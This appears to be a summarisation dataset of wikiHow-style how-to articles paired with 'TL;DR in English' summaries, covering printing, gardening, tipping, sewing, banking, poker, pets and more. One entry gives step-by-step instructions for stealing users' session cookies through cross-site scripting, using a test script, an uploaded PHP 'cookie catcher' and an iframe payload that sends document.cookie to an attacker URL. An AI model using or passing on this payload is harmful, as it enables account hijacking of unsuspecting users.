Open a Windows 8 Application. Access the printing settings. Choose how many copies to print. Change the Orientation. Choose to print in color or black and white. Select certain pages. Click on "More Settings. Choose Uncollated or Collated. Choose how many pages to print per sheet. Choose the size of your printout. Choose the source. Return to the initial print screen. Press the Print button. Refer to the troubleshoot section.

When you are engaged in a conversation, ask questions that require an expanded response, instead of a one-word response. Make the question applicable to the ongoing conversation. For example, ask someone about a movie, when she found time to travel or what did actually happen in the situation.  Open ended questions force people to extensively speak, which carries the conversation further. Ask questions about the person you are talking to. Everyone likes to talk about themselves, and the easiest way to become charismatic, is to be the person to which others can boast about themselves with. If you are meeting someone for the first time, ask them about their goals, their journey to their career choice or their significant other. If you know a person well enough to avoid those “ice-breaker” questions, ask about the trip they recently took or how their significant other is feeling. Others might wish to congratulate you on a recent achievement. Accept their praises modestly by thanking them but also by giving credit to others. For example, you could thank someone for noticing your hard work and add that this work project couldn't have been done without the help of your colleagues. This kind of response shows that you are proud of your work, but not boastful.  You should find the line between too much humility and too little. If you are too humble with statements which undermine yourself, one may think that you didn't do anything at all. But, if you are overly confidence, people may perceive you as conceited or arrogant, such as if you respond by saying that you worked on this project day and night and that it turned out awesome.   By having appropriately humble responses and giving credit where credit is due, you begin to show and your character as a gracious and appreciate person. People like to know they are being listened to. During your conversation, restate in your own words, what you have been talking about. For example, after someone told you about their family troubles, answer by admitting that this person...

TL;DR in English: Ask open-ended questions. Be humble, yet confident. Paraphrase parts of a conversation to show you are listening. Include everyone in the room. Share personal stories with others.
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Open a Windows 8 application from the tile screen. Access this screen by pressing the Windows key (located to the right of the Alt key). Windows 8 applications are applications that are unique to Windows 8 and are configured for Windows 8 functionality. Examples include OneDrive and OneNote. In an app that enables printing, access the printing settings by following either of the below methods. If the app does not enable printing, the system will tell you before you get access to the printing options.  Move your cursor from the top right of the screen down to reveal 5 options. This is called the charms tab. Select Devices, click Print, then choose the printer you want to print from.  Press CTRL+P, then choose the printer you want to print from. Change this setting by entering in a number in the input field under "Copies." Try to limit the number of copies to the bare necessity in order to save paper. Change this setting by choosing either Portrait or Landscape from the dropdown menu next to the word, "Orientation." This will adjust how the document is laid out on the printed page.  Portrait mode will mean the printed out document will be taller than it is wide. Landscape means the printed out document will be wider than it is tall. Change this setting whether you want the  by selecting either "Color" or "Monochrome" from the Color Mode dropdown menu. Monochrome is the option for black and white. Choose which pages of the document you want to be printed by changing the number beneath the preview of the document. If you want to print the entire document, enter in the same number that is shown after "of." For example, if there are 3 pages in the document, enter in 3 to print out the entire document. "  If you want to customize your printout further, click on "More Settings" located just above the Print button. Some of the options will be the same as the ones you have already customized. Again, some of these options depend on your printer and the app, but these are some common options. This setting only matters if...

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Determine what growing zone you live in. Know when to plant your marigolds. Decide whether you will use seeds or seedlings. Determine where you will grow your marigolds. Decide what size marigold you want to grow.

Sometimes people get into regular schedules that seem uninteresting to them, but could be interesting to you, and vice versa.  Asking for at least two interesting things will inspire your boyfriend to step back and look more closely at his day.  Additionally, ask your boyfriend how he felt about the two interesting things. If it’s not obvious to you why the two things your boyfriend named are interesting, ask him why he found them interesting. If he has trouble naming two interesting things, help him out by asking, “Where did you eat lunch?  What did you have?” If you’ve recently heard a very happy or very sad news story, share it with your boyfriend.  For instance, if a mine collapsed and the miners were miraculously rescued, share it with your boyfriend.  You could say, “Did you hear the good news about the miners?  I’m really thankful they have been rescued.” Encourage your boyfriend to discuss other recent developments in current events by asking him, "What events did you see in your newsfeed today?" For instance, if his aunt is known to say or do outrageous things, ask, “So, how is our dear Aunt Linda?”  Keep the conversation going by comparing how your boyfriend’s mom and your mom, for instance, are getting on. Even if your boyfriend hasn’t seen his family in a while, you could bring them up anyway.  Reminiscing about funny family-related memories is a great way to bond.

TL;DR in English: Ask your boyfriend to tell you two interesting things about his day. Share a news story that made an emotional impact on you. Ask your boyfriend how a memorable family member is doing.
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The USDA has defined 13 growing zones for the United States, ranging from the extremely cold Zone 1 (in far-north Alaska) to the extremely warm Zone 13 (in parts of Hawaii and Puerto Rico). Most of the country ranges from Zone 3 to Zone 10. Marigolds are annual plants in most zones, meaning they will die in the winter and will not return the next growing season. Marigolds are hardy, self-seeding flowers. If you live in Zone 8 or higher, your marigolds may not die off during the winter and will probably return with fuller vigour the following spring. Although marigolds are a very hardy plant, they can die in cold weather. Plant marigolds after the last frost. American (African) marigolds should be planted immediately after the last frost because they are slow to mature. If possible, plant your marigolds on a cloudy day or in the morning; this will help prevent further transplant shock to the plants from the heat. Seeds will take a few weeks to germinate but cost much less. Seedlings or plants bought from a gardening store will give you immediate satisfaction but are more expensive.  While it's not necessary, you can start the seeds indoors 4-6 weeks before you want to plant them outside. Marigolds can also be directly seeded into the ground outdoors when the soil temperatures reach 60 to 80 degrees Fahrenheit ( Late May to Mid June) as well. Short varieties such as the French Marigolds germinate quickly and flower very fast within few weeks after planting. If you use seedlings or plants, you can plant them as soon as the last frost is gone. Marigolds grow well both in flowerbeds and in pots and other containers, but they need space to spread out. Fully grown marigold plants in beds should be spaced 2 to 3 feet apart so that they can get enough sunlight.  Marigolds perform best in full sunlight, although they can handle up to 20% shade. Do not plant them in a fully shaded area, as they will not thrive.  Marigolds are tolerant of dry, sandy soil, but they do not grow well in overly damp soil. Make sure your beds...

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Identify the beat of a song. Divide the beats into measures. When you listen to or sing Old McDonald, the emphasis falls on the words "Old" and "had". Count the beats per measure. Do your best to determine the bottom number.

You'll need to offer a different tip depending on the service provided.  Add 5% to 10% extra onto the tip already included in the bill at a restaurant. At a hotel, tip the housekeeper $1 per day and the porter $1 per bag. Tip the concierge $10 to $20 per service. Tip cab drivers 10% to 15% and guides $20 per day. The tip amount will vary depending on where and who you're tipping.  At restaurants, add a shekel per customer to the tip already included in the bill. At a hotel, give a shekel or two when asking for a small favor. Porters get six shekels per bag, and housekeepers get three to six shekels per day. Taxi drivers should get 10% to 15% and tour guides should receive 90 to 120 shekels per person per day. Tour guides who also act as drivers get 120 to 150 shekels. As with most countries, tip amount varies depending on the service provided.  Tips are not included in the bill at restaurants here, so you should tip 10% to 15% of your bill. At hotels, offer the concierge $20 to $25 when you first arrive. Porters receive $1 to $2 per bag, and housekeepers receive $2 per day. Guides should get a tip of $10 per person per day for individual tours and small groups, or $7 per person per day for large groups. Drivers should get $5 per person per day, and a driver's assistant should get $2 per person per day.

TL;DR in English: Know how to tip in Egypt. Learn how to tip in Israel. Tip correctly in Saudi Arabia.
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Every song has a beat, or a steady pulse. As you listen to the song, tap your toes or snap your fingers along to the beat.  Let's use Old McDonald as an example. As you listen to or sing the song, you would tap your toes at the words "Old" + "Mc" + "Don-" + "ald" + "Had" + "A" + "Farm" "(rest)". Remember, beats are grouped into measures. The time signature at the start of the piece determines how many beats appear in each measure and which type of note receives the beat. Sometimes a note falls on the beat, other times a rest lands on the beat. Measures, or bars, group beats together. Each measure contains the same number of beats. As you listen to the song, keep your ear tuned to the start of a new measure, or bar. This is usually indicated by a strong emphasis on a note (1 + 2 + 3 + 4 | 1 + 2 + 3 + 4 | ). The emphasis is usually something you "feel." "Old" + "Mc" + "Don-" + "ald" | "Had" + "A" + "Farm" + "(rest)" | On a musical score, a single vertical line separates 1 measure from another. If the time signature changes in the middle of the song, the number of beats in each bar will change too. Once you've divided the beats into even measures, count the number of beats between each set of bars. This number will be the top number of the time signature. In Old McDonald, there are 4 beats per measure. Figuring out the bottom number requires some guess work. Base your guess on the speed of the song's beats. If the beats seem slow, the bottom number is probably "2". If the beats seem fast, the bottom number is likely "8". If the beats seem to pass at a medium speed (60 beats per minute), the bottom number is probably "4". In Old McDonald, the beats pass at a medium rate. The bottom number is "4". This song is in 4/4 or common time, so named because it is the most common meter for a song

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Identify the stressors that make you want to escape your life. Let go of expectations put on you by others. Re-decorate your living space. Create a schedule to help optimize your time. Adopt healthy habits. Take up a new hobby. Start a new job or career if your job is making you want to escape. Go back to school. Move to a new apartment or a new city. Confront relationship problems, if you have them.

Wash the glass with warm, soapy water, then rinse it off. Dry the glass with a towel. To help the paint stick better, it would be a good idea to wipe the glass down with rubbing alcohol too, although that is not absolutely necessary. Fill the bottle halfway with water, and the rest of the way with white vinegar. Close the bottle, then shake it to combine the solution. Choose a spray bottle that has a mist option; don't use a bottle that squirts water out like a water gun. Pour some of your paint onto a disposable tray or palette. Dip the brush into the paint, then tap it on a paper towel to get the excess off. Pounce or tap the brush against the glass to apply a patchy layer of paint. Hold the vase or jar from the inside so that you don't get your fingers dirty. Work quickly, as acrylic paint only takes a few minutes to dry. Hold the vase or jar from the inside, and spray it with your vinegar solution. Apply a light, even coating; you want the solution to bead on the glass without dripping. Don't wait for the paint to set up like you would with spray paint. The acrylic layer is thin, so it will dry fast. Take a paper towel and crumple it up into a ball. Pat the glass dry with the paper towel; do not rub the towel across the glass. The paper towel will remove some of the paint and leave behind a crinkled texture. Keep applying layers of paint, spraying it, and dabbing it until you get the coverage you want. With each layer, you'll notice the glass becoming more and more opaque. Allow each layer to dry first before doing the next one, however. Consider using gold paint for your second layer. This will help make it look more realistic and antique. Most acrylic craft paint will be dry to the touch within 15 to 20 minutes. If the paint still feels tacky, you might have gotten enamel or all-purpose craft paint. This means that the paint needs to cure for several days. Check the label on your bottle of paint for complete drying instructions.

TL;DR in English: Wash and dry a glass vase or jar. Fill a spray bottle with equal parts of water and vinegar. Pat silver acrylic craft paint onto the glass with an old toothbrush. Spray the glass with your vinegar solution before the paint dries. Dab the solution off with a crumpled up paper towel. Repeat the painting, spraying, and dabbing process, if desired. Allow the paint to dry completely.
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When you feel the need to escape often, this could be a sign that you need to make changes. You may be overwhelmed or burnt out. Alternatively, you may be living your life according to someone else’s expectations rather than your own. Talk out your issues with a therapist or someone you trust. You can also journal your feelings.  You may need to do some job hunting or change careers. If your relationship is troubled, you could try counseling or consider moving on. You may feel like your hometown isn’t the right place for you to spread your wings. In that case, you could set aside money to start over somewhere new. You may feel bored or confined in your daily routine. In that case, mix things up by creating a new routine or pick up a new hobby. If you feel like your life is just school or work, you might try some new hobbies. Take up an instrument, enroll in an art class, join a recreational sports league, find a book club, etc. Everyone has different values in life, and sometimes people force those values on others in order to help them. Unfortunately, it’s not always helpful. It’s possible that you want to escape your life because you’ve chosen a job, course of study, home, or hobbies to please others and not yourself. Your opinion is the only one that matters, however, and it’s important to live life how you want.  Ask yourself what you truly want in life.  Identify your values and make sure you’re upholding them. If you're not sure what your values are, consider what makes you feel happy, fulfilled, or proud. Make changes in your life if you find things that are mismatched from what you really want. Try to make it as different as possible. If you can, paint the walls, add wallpaper, or use decal stickers. Rearrange your furniture, switch up your decor, and create a whole new look.  Choose a look that’s inspired by your dream life. For example, if you dream of living in Paris, your could hang up a nice print of the Eiffel Tower and a quote in French. If you dream of reading on a terrace, fill a bookcase...

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Open the File Explorer in Desktop mode. Click the "View" tab at the top of the window. Click the "Navigation pane" button and select "Show libraries". Add folders to your libraries to easily access different types of files.

For many, masculinity is a symbol of absolute power and too often, femininity is seen as a form of weakness or a subordinate status. However, you must look past this state of mind and celebrate the many unique strengths of femininity.  The Divine Feminine: Many believe becoming a goddess means awakening the Divine Feminine or following the feminine principles of being nurturing, loving, compassionate, of insight, intuition, creativity, forgiveness, healing, and wisdom. Build a space where you can disconnect from the busyness and demands of your social life.  This space can be a cozy room, a reading nook, or a quiet corner. Fill your safe space with items that symbolize the goddess you want to be. It can be a picture or an object that represents your goddess. Add relaxing items like candles, incense, a water fountain, plants and flowers, or spiritual crystals and stones. Journal, pray, or daydream in this space. Do things that relax you and allow you to reflect and nurture yourself. In order to find your inner goddess, it’s important that you find peace within yourself.  Don’t try to fill up a void or emptiness through external means (like being obsessed with vanity, greed, or lust to feel better about yourself). Don’t focus on things you can’t change. Instead, accept it for what it is and you will be able to relieve yourself from the stresses of worrying about a situation you can’t change. Don’t deny your emotions. Acknowledge them as valid and something worthwhile to feel and explore. Meditation has many benefits psychologically and physiologically. The purpose of meditation is to clear your mind from distractions and give you more control over your own mind and body. It can lower stress levels, decrease your heart rate, build self-confidence, and increase creativity. Many women meditate as a way of connecting to their inner goddess.  Try a simple breathing meditation to start. Sit cross-legged or in a comfortable position. Close your eyes halfway and focus exclusively on the natural way you breathe. Become...

TL;DR in English: Embrace the power of femininity. Create a safe space for yourself where you can relax and feel comfortable. Accept and listen to your own feelings and emotions. Meditate. Connect with Mother Nature. Take care of your body by eating healthy and pampering it.
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Libraries were added in Windows 7, and they allow you to quickly locate your files that are spread out across a variety of folders. They were carried over into Windows 8, but the Windows 8.1 update hides them from view. They're not gone though; they just need to be re-enabled. You can open the File Explorer by clicking the File Explorer icon in the taskbar, or by pressing ⊞ Win+E  Your libraries will now appear beneath "This PC" in the sidebar. You can create as many custom libraries as you want, and add folders from your computer and even removable drives. Click here for tips on getting the most out of Windows libraries.

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Avoid deleting files and programs indiscriminately. Use an online list of programs and processes, or an internet search to identify what each thing does. Use a program to automatically clean up startup items.

or BB cream.With moisturizer, squeeze a bit onto the tips of your fingers, rub all your fingers together, and apply evenly on your face and neck. With BB cream, squeeze some onto the center of your forehead, nose, either cheek, and chin. Then, use your fingers to even this out. Don't forget any spots, or you might have a lighter or darker patch of skin! and powder. Find a foundation that is a bit lighter than your skin tone. When applying, coat the liquid onto problem spots (bumps, acne, red spots, dark eye circles) and spread it with your finger. Don't blend this into your skin, just coat it on while it still is obviously unnatural. Next, apply powder. This powder should match your skin as best as possible. Powder your entire face, even going over your foundation. Going over your foundation with powder is what makes it look natural while it's still caked on. . This is quite simple - all you have to do is fill in your lips. Use the thick edge to fill in the main part, and the tipped edge to get into the corners of your lips. If your lips are smaller or thin and the lipstick is dark, use the tipped edge to create the shape you want. It seems like it'd look strange, but it's really a fantastic illusion. You'd have to really look close to notice. Bright colors and nudes are popular in warm seasons, while darker colors are popular in cold seasons.

TL;DR in English: Apply moisturizer Apply foundation Apply lip product
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Deleting startup programs without knowing what they are can lead to certain applications not functioning properly.  Before making changes that you are unsure of, use System Restore to create a “restore point” that you can revert to if something goes wrong.  Many startup items have names that are somewhat descriptive, but others are obscure abbreviations, and have functions that are difficult to identify. This may require some time, as it requires you to search for each file or process individually. Some helpful lists include:  Process Library: winner of PC Magazine’s Top 100 Classic Websites, 195k+ entries.  Pacman’s Portal; an online startup program database containing more than 35K entries There are many free, popular programs that can cleanup startup items for you, including items in the system registry.  These programs often contain databases that are updated to include frequently occurring unnecessary items, as well as other tools to improve your computer’s performance.  As always, do ample research to find reputable programs to avoid damaging your computer. Some popular programs include: CCleaner Virtuoza In Control Should I remove it?

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Make sure you have a good seam allowance. If you have a seam allowance of 1 inch (2.54 centimeters), you can hem the skirt 1 inch (2.54 centimeters) shorter than the finished skirt. Thread a needle, and tie a knot at the end of the thread. Use the needle to pull the

Decide how long you want the skirt to be, and add 2 inches (5.08 centimeters) to it. Consider blind stitching the hem.

All right, now that you've got the meat of it together, how do you put it onto paper? Well, for starters, cut it to length. It should be a page long at most, if that. No one's going to waste time on 5 paragraphs unless you're covering WWIII. Here's what you need (some of which we've already covered):   FOR IMMEDIATE RELEASE should go at the top of the page, on the left margin. If the release is embargoed, put "EMBARGOED UNTIL..." with the date you want the story released. A release with no release date is presumed to be for immediate release.  The headline, usually in bold, should be centered below that. If you'd like, put a subhead in italics (briefly elaborating the headline).   First paragraph: most important information. May be quite news-like in that, it starts with a date or where the news is coming from.  Second (and probable third) paragraph:  secondary information. Should include quotes and facts.  Boilerplate information: more on your company. Who are you, really? What achievements do you have? What's your mission?  Contact information: more on the writer (probably you!). If you grab someone's interest, they'll want to be able to find out more!  Multimedia: in today's day and age, there's always some Twitter handle to be had. That means it's time to include information about your company. When a journalist picks up your press release for a story, he or she would logically have to mention the company in the news article. Journalists can then get the company information from this section.  The title for this section should be "About [XYZ_COMPANY]." After the title, use a paragraph or two to describe your company with 5 or 6 lines each. The text must describe your company, its core business and the business policy. Many businesses already have professionally written brochures, presentations, business plans, etc. That introductory text can be put here. At the end of this section, point to your website. The link should be the exact and complete URL without any embedding so that, even if this page is...

TL;DR in English: Get the basic structure down. Write a boilerplate underneath the body of your release. Add your contact information. If possible, include a link to an online copy of the same release. Signal the end of the press release with three # (hash) symbols.
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You will need this extra length for the hem. If your skirt has a lining, and you need to hem it as well, plan on having it 1 inch (2.54 centimeters) shorter than the finished skirt. Thread a needle, and tie a knot at the end of the thread. Use the needle to pull the thread through the hem. Catch 1 to 2 threads from the skirt material, then bring the needle back into the hem. Pull the needle ¼ inch (0.63 centimeters) through the hem, then use it to catch 1 to 2 threads from the skirt material again. Keep blind stitching until the hem is all sewn up. Knot the end of the thread, and snip the rest off.  Use a thread color that closely matches your fabric. This is great for those working with a heavier or thicker material.

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Consider a "joint tenants with right of survivorship" account. Opt for a "tenants by the entirety" account to sign off on each transaction. Open a "convenience" account to manage money for another person. Get a "joint tenants in common" account if one of you wants to will your money elsewhere. Get a "Joint POD/ITF" account if you both want to leave your money to another.

" If you are very confident your hand will win, or you believe no other player will be willing to match you, you can push all your chips on the line—a bold move.  In a tournament, if "you're down to only 5 more big blinds/antes" then you'll be out after 5 rounds around the table if you don't make a stand,  so you will want to go all-in pre-flop with a reasonably good hand, hoping to double up or get everyone to fold. If you have only 5 times the blinds and antes, just picking up the blinds and antes means a 20 percent increase for you, which is huge. So, for example, if you have any pair, any ace, any king, or any two face cards, strongly consider going all-in pre-flop -- if no one has yet entered the pot. You are "short-stacked" compared to other players and to the blinds/antes. If making any reasonably sized bet will put half or more of your stack into the pot, you are pot-committed and may as well go all-in to look stronger and apply maximum pressure. Even if you have the nuts (the best possible flop with your hold cards), don't try to slow-bet and raise just the minimum if you are already pot-committed. Any opponent with the slightest bit of observation will become suspicious why you did not simply go all-in, if you are strong. In any case, your opponents are likely to interpret an all-in from a short stack as a desperate move and call if any of them have a reasonably good hand. If you have enough more chips than an opponent who has a wager on the table, you may "put him or her all in" by betting equal to their total chips (you can say "all-in"). If no other player calls and the shorter stack doesn't fold, both reveal their cards in the showdown -- then any remaining community cards are dealt out one by one without any more wagering on each (because the all-in player has no more chips to bet with). If the other person wins you double that player up, but you have a chance to send that player home. If one player is all in, players who call that and still have more chips can still make additional bets with...

TL;DR in English: Going "all-in. Making side pots. Playing "heads-up.
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These accounts are the most common type of joint account. They are available to everyone, but popular with couples. With a "joint tenants with rights of survivorship" bank account, owners have equal access and equal responsibility for the account.  If one partner dies, all of the funds pass on to the surviving owner. This account is not subject to probate after an owner dies. Creditors can collect against this account, no matter which of you deposited the balance. This option is only available to couples, whether by marriage, civil union, or domestic partnership. Neither of you may withdraw money without the permission of the other.  Creditors cannot collect on the total balance of the account, but only on funds acquired by the couple and only with permission of both owners. This account is not subject to probate. If one owner dies, the entirety of the balance becomes the property of the surviving owner. If you have an elderly or incapacitated relative who needs you to manage their money, you can open a convenience account with them and act as their agent. The funds in the account belong to the owner. As the agent, you use the funds to pay the owner's bills and manage their transactions.  After the owner's death, funds will be distributed according to their will. Creditors may be allowed to collect against the account. If you are the agent, your creditors may ask you to prove that you do not have ownership over the bank account. These are popular with couples and with business partners, but anyone can open them. You may divide your ownership equally or give one owner more responsibility and access. You will each be entitled to a predetermined percentage of the account.  If one owner dies, an estate will distribute their share of the balance according to their will or trust. This type of account is subject to probate. If there's no will or trust, the funds of the deceased will be distributed to their closest relatives. Creditors may still collect against the entire account, however, even if one partner...

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Find a vulnerable site where you can post content. Go to create a post. Create and upload your cookie catcher. Post with your cookie catcher. Use the collected cookies.

Although your body might feel different as it is changing, it is important to keep on exercising. Learning to be coordinated with a new physical frame is important. When you do sports, your body creates extra beta-endorphins, which are hormones that can decrease stress and put you in a better mood.  Understand that some sports might be harder for you than in the past. For example, if you were a star figure skater before entering puberty, you might find jumping is more difficult with increased weight. This happens to almost everyone! Talk with your coaches about how to adapt to your new physical frame. Exercising can also help girls who have menstrual pain. If you are worried about working out on your period, see how to Exercise While on Your Period. As you grow taller, you will need some new clothes. Take this moment to think about your new style. Perhaps you would like to look more mature. For girls, this is a good time to learn about bras. Ask your mother, sibling, or a friend for help. Most larger department stores or women’s lingerie stores also have specialists who can help you determine what is the best type and size of bra to use. For boys who play sports, talk to your coaches about purchasing athletic cups. As your body grows, it is important that you nourish it with fruits, vegetables, protein, and whole grains. Try to avoid your intake of junk foods. You might be hungry all the time as your body is using energy to grow. It is okay to eat snacks but aim for things like trail mix or yogurt rather than candy bars or chips.  Do not skip breakfast. You will need your energy for school. Aim for five daily portions of fruits and vegetables. Include foods rich in iron and calcium, e.g. cheese, milk, spinach. Drink when feeling thirsty. Dehydration can make you feel tired.  If you plan to go to a party and know there will be junk food there, consider eating a healthy snack or even dinner beforehand.

TL;DR in English: Continue to exercise. Update your wardrobe. Eat healthy foods.
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A message board is a good example. Remember, if the site is not vulnerable to a cross-site scripting attack, then this will not work. You will need to type some special code into the "post" which will capture the data of all who click on it. You'll want to test to see if the system filters out code. Post <script>window.alert("test")</script>If an alert box appears when you click on your post, then the site is vulnerable to attack. The goal of this attack is to capture a user's cookies, which allows you access to their account for websites with vulnerable logins. You'll need a cookie catcher, which will capture your target's cookies and reroute them. Upload the catcher to a website you have access to and that supports PHP and is vulnerable to remote code execution via upload. An example cookie catcher code can be found in the sample section. Input a proper code into the post which will capture the cookies and sent them to your site. You will want to put in some text after the code to reduce suspicion and keep your post from being deleted. An example code would look like <iframe frameborder="0" height="0" width="0" src="javascript...:void(document.location='YOURURL/cookiecatcher.php?c=' document.cookie)></iframe> After this, you can use the cookie information, which should be saved to your website, for whatever purpose you need.

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Install barriers around your pool. Remove all toys from the pool area. Learn to swim. Provide flotation devices for any inexperienced or weak swimmers. Maintain all drain covers on your pool.

When your cat is still new to your home, lie down near it or in front of it when your paths cross.  Speak to your kitten in a quiet, comforting voice, saying things like, “Hi, kitty.  It's just me.  You can trust me.”  Soon, your cat will become interested in you and come over to give you a sniff.  Repeat this exercise three or four time daily for a week or so.  The exact distance away from your cat you should lie down varies depending on much your cat distrusts you.  The less trust your cat has in you, the further away you will need to lie down in order to entice it to come near. It might take several exchanges before your cat actually gets interested in you enough to come over and see what you’re doing. Do not reach your hand out to the cat during this stage. Keep some treats handy as you walk around the house during the day.  When you encounter the kitten that does not trust you, squat down on one knee.  In a gentle voice, say, “Here, kitty.  Would you like a treat?”  Place a cat treat in the center of one upturned palm and extend it to the kitten.  Repeat three or four times a day.  At first, keep your arm extended out as far as you can. After a week or so, start to bring your arm in closer to your body.  This will allow your cat to feel safer with you.  This feeling of security will help you earn a kitten’s trust. At this point, reduce the number of times each day you give your kitten a treat to just one or two. After your kitten is comfortable eating from your hand in close proximity to your body, introduce a new element to the interaction.  While your cat is nibbling the treat in one hand, bring your other hand up and stroke the cat gently from the top of its head or neck toward its tail.  Smooth, steady strokes along its back will reassure your kitten and help you earn its trust. If you pick a kitten up before it trusts you, it will become startled.  Only pick the kitten up after it trusts you enough to eat from your hand and allow you to pet it.  When you lift your kitten, do so from the kitten’s...

TL;DR in English: Lie down on your stomach. Offer food from your hand. Pet your kitten. Pick the kitten up. Play with your kitten. Introduce your cat to a wide variety of people.
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This will prevent children from entering the water without supervision. Children are at an increased risk around home pools, and it is important that they are not allowed easy or unsupervised access. Anything that might tempt a child to enter the water without supervision is dangerous. Toys can be especially alluring to kids, and need to be put away after use. Most local branches of the Red Cross or YMCA will offer a variety of swimming lessons for all ages, and levels of ability. This can be a very important safeguard before installing or moving into a home with a pool. A bit of prevention is worth much more than a dramatic rescue. If you have young children, or are expecting young children to be using your pool provide age appropriate flotation devices. Improperly maintained covers can create suction that will hold a swimmer or child under the water.

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Drive or walk over to a park or nature reserve. Connecting with nature is a great way to relax and enjoy yourself, so drive or walk over to the nearest park or nature reserve. If it's cold, you can still take a walk: snowy or wintry weather can be just as beautiful as summer weather

Go to a nature preserve or park. Walk in a city. Go  star-gazing.

Since most Macs don't have disc trays anymore, you'll need to buy an external DVD drive and attach it to your computer via a USB cable.  Make sure that the DVD reader that you buy can "burn" or write DVDs before purchasing it. You may also need to buy a USB-3 to USB-C adapter if your Mac is one of the most recent models. Skip this step if your Mac already has a DVD drive with DVD writing capabilities. The DVD has to be blank (e.g., brand-new) and logo-side-up for this to work. It's a menu item at the top of your Mac's screen. Clicking it prompts a drop-down menu to appear. If you don't see Go, click your desktop or the Finder to prompt Go to appear. You'll find this near the bottom of the Go drop-down menu. A window will open. It's a grey hard drive icon with a stethoscope on it. Doing so opens the Disk Utility window. This is a radioactive symbol-shaped icon at the top of the window. Click the folder into which you saved your movie. You'll find the folder in question on the left side of the Finder window. Click the movie file to do so. It's in the bottom-right corner of the window. You'll see this in the pop-up menu near the top of the Disk Utility window. Your movie will begin burning onto the DVD. It's in the bottom-right corner of the window. After you do this, you can eject your DVD from your computer and test it in your preferred DVD player.

TL;DR in English: Buy and plug in an external DVD writer. Insert a blank DVD-R into your Mac's CD tray. Click Go. Click Utilities. Double-click Disk Utility. Click Burn. Select a file location. Select your movie. Click Burn. Click Burn when prompted. Click OK when prompted.
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If the weather is nice, go for a walk. Connecting with nature is a great way to relax and enjoy yourself, so drive or walk over to the nearest park or nature reserve. If it's cold, you can still take a walk: snowy or wintry weather can be just as beautiful as summer weather. Just make sure to bundle up. Walking in an urban area can be just as interesting as walking in nature, and you're sure to see a lot of interesting shops and people along the way. If you live in or near a city, wander a bit downtown and explore the parks, boulevards and unique sights. Stargazing can be aided by telescopes or binoculars, but you don't need any special equipment to enjoy the stars. Simply find a quiet, dark place and look up. Try and identify constellations and planets, and break out the telescope if you have one. If you live in a densely populated area, you might have to take a drive to find an area with less light pollution.

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Do not eat poorly cooked food. Avoid unsanitary areas. Recognize accidental transmission.

You don’t want to clog up the blender by filling it completely with rice. Smaller amounts will let the blade work more efficiently and grind the rice better.  A good rule of thumb to follow is that 1 cup (240 ml) of rice yields about 1 1⁄2 cups (350 ml) of rice flour.  You can use either white or brown rice, as long as it’s raw and uncooked. Turn the blender on the highest setting to get the best results. The flour should be smooth and there shouldn’t be any large chunks.  Grinding rice is hard on your blender's blades. If you plan on making a lot of flour, invest in a higher quality blender that's more durable. The finer the flour, the better it will work in baking and other recipes. Any air that leaks into a container that's not properly sealed can cause the flour to spoil faster. Either a plastic or glass container or jar will work. If you use a resealable bag, squeeze out any excess air before you seal the bag. While flour can keep for a very long time, it tends to get musty or stale after 1 year. Throw it away if you see mold or notice a foul scent.  To keep track of when the flour needs to be thrown out, use a permanent marker or a sticker label to note the date you should throw it out by. This will be 1 year from the day you made it. If you have different types of flour in your pantry, you may also want to write “rice flour” on the label. Keeping the flour in the refrigerator or the freezer will help the flour last longer.

TL;DR in English: Place 1 to 2 cups (240 to 470 ml) of rice in your blender at a time. Cover the blender and grind the rice until it’s a fine powder consistency. Transfer the flour to an airtight container and place the lid tightly on it. Store the flour in the pantry for up to 1 year until you’re ready to use it.
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No matter where you live or are traveling to, you should avoid food that is poorly cooked as it increases your risk of food poisoning and other causes of infection. Poorly cooked food may be major conduit of H. Pylori because the food is not heated to a temperature high enough to kill the bacteria. This can be hard to detect, but if your food is cold or raw, avoid eating it because it could possibly be a carrier of the bacteria.   Avoid food that has been inadequately cleaned, like vegetables, or handled, like meats and fish. Improperly cleaned and mishandled foods also increase the risk of all types of foodborne infection. You should also cook any food you make yourself to a high temperature as well. Since you may not know where all the food came from that you are cooking, you need to be certain you cook it well. This way you can avoid contaminating yourself with the bacteria as well. Like most bacterial infections, one of the major ways that the H. Pylori bacteria may be transmitted is through unsanitary conditions. This includes food and beverage production, living conditions, and activity areas as well. Food that is cooked in a poorly sanitized setting can transmit the bacteria from one individual to another. Avoid roadside locations or food carts where it is evident that there is no proper facilities for hand washing or cleaning utensils.  You should also avoid living arrangements near unclean water sources, sewage locations, and other areas where unclean and dirty water may be prevalent. Avoid places where people don't use gloves, where there are inadequate restroom and cleaning facilities, or places where workers touch money and other people and then handle food or merchandise. Another way that the bacteria may be transmitted is through the fecal-oral route or the oral-oral route. This means that food, water, and objects are contaminated with the bacteria because of poor sewage practices and poor hygiene. Since many individuals do not know they are carrying the bacteria, it can easily be transferred...

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Get plenty of sleep. Maintain a healthy diet. Avoid excessive alcohol. Get plenty of exercise. Spend time doing things you enjoy.

Genogram templates are available online or you can start from scratch and fill one out by hand. You can also purchase software programs designed specifically for creating genograms. The symbols act as a visual indicator of the information you gathered in your interviews. You can draw the standard genogram symbols by hand or by using the "draw" or "shapes" options in a word processing program.  Males are indicated by a square. When indicating a marriage, position the male symbol to the left. Women are indicated by a circle. When indicating a marriage, position the female symbol to the right. A single horizontal line indicates marriage and two slanted lines separation. The oldest child is always below and to the left of his family, whereas the youngest should be below and to the right. Other available symbols help you describe family events such as pregnancy or miscarriage, illnesses and deaths. There is even a diamond symbol to represent pets. For example, you may decide to start your genogram with your grandparents or even your great grandparents. Genograms can be used to show the diversity in family relationships as well as patterns of illnesses.  A genogram includes symbols to indicate family interactions such as conflict, closeness, estrangement, etc. Emotional relationships have specific symbols that help keep the flow of the genogram clear. There are also symbols that denote sexual and physical abuse as well as mental and physical disorders. Once you've made the genogram, look carefully to see what patterns can be identified. There may be hereditary patterns or particular psychological tendencies that are very noticeable when grouped together in this way.  Be careful about making assumptions. The data is one thing, but avoid using it to confirm that your family has a particular disease, or mental issue. Talk to a medical professional about any potential for hereditary problems of this type. Avoid using the genogram to make assumptions about the motivations of family members as well, or using this to...

TL;DR in English: Design your genogram. Use standard genogram symbols to represent family members and relationships, both normal and dysfunctional. Organize the chart based on family interactions beginning with the oldest generation you want to represent at the top. Look for patterns.
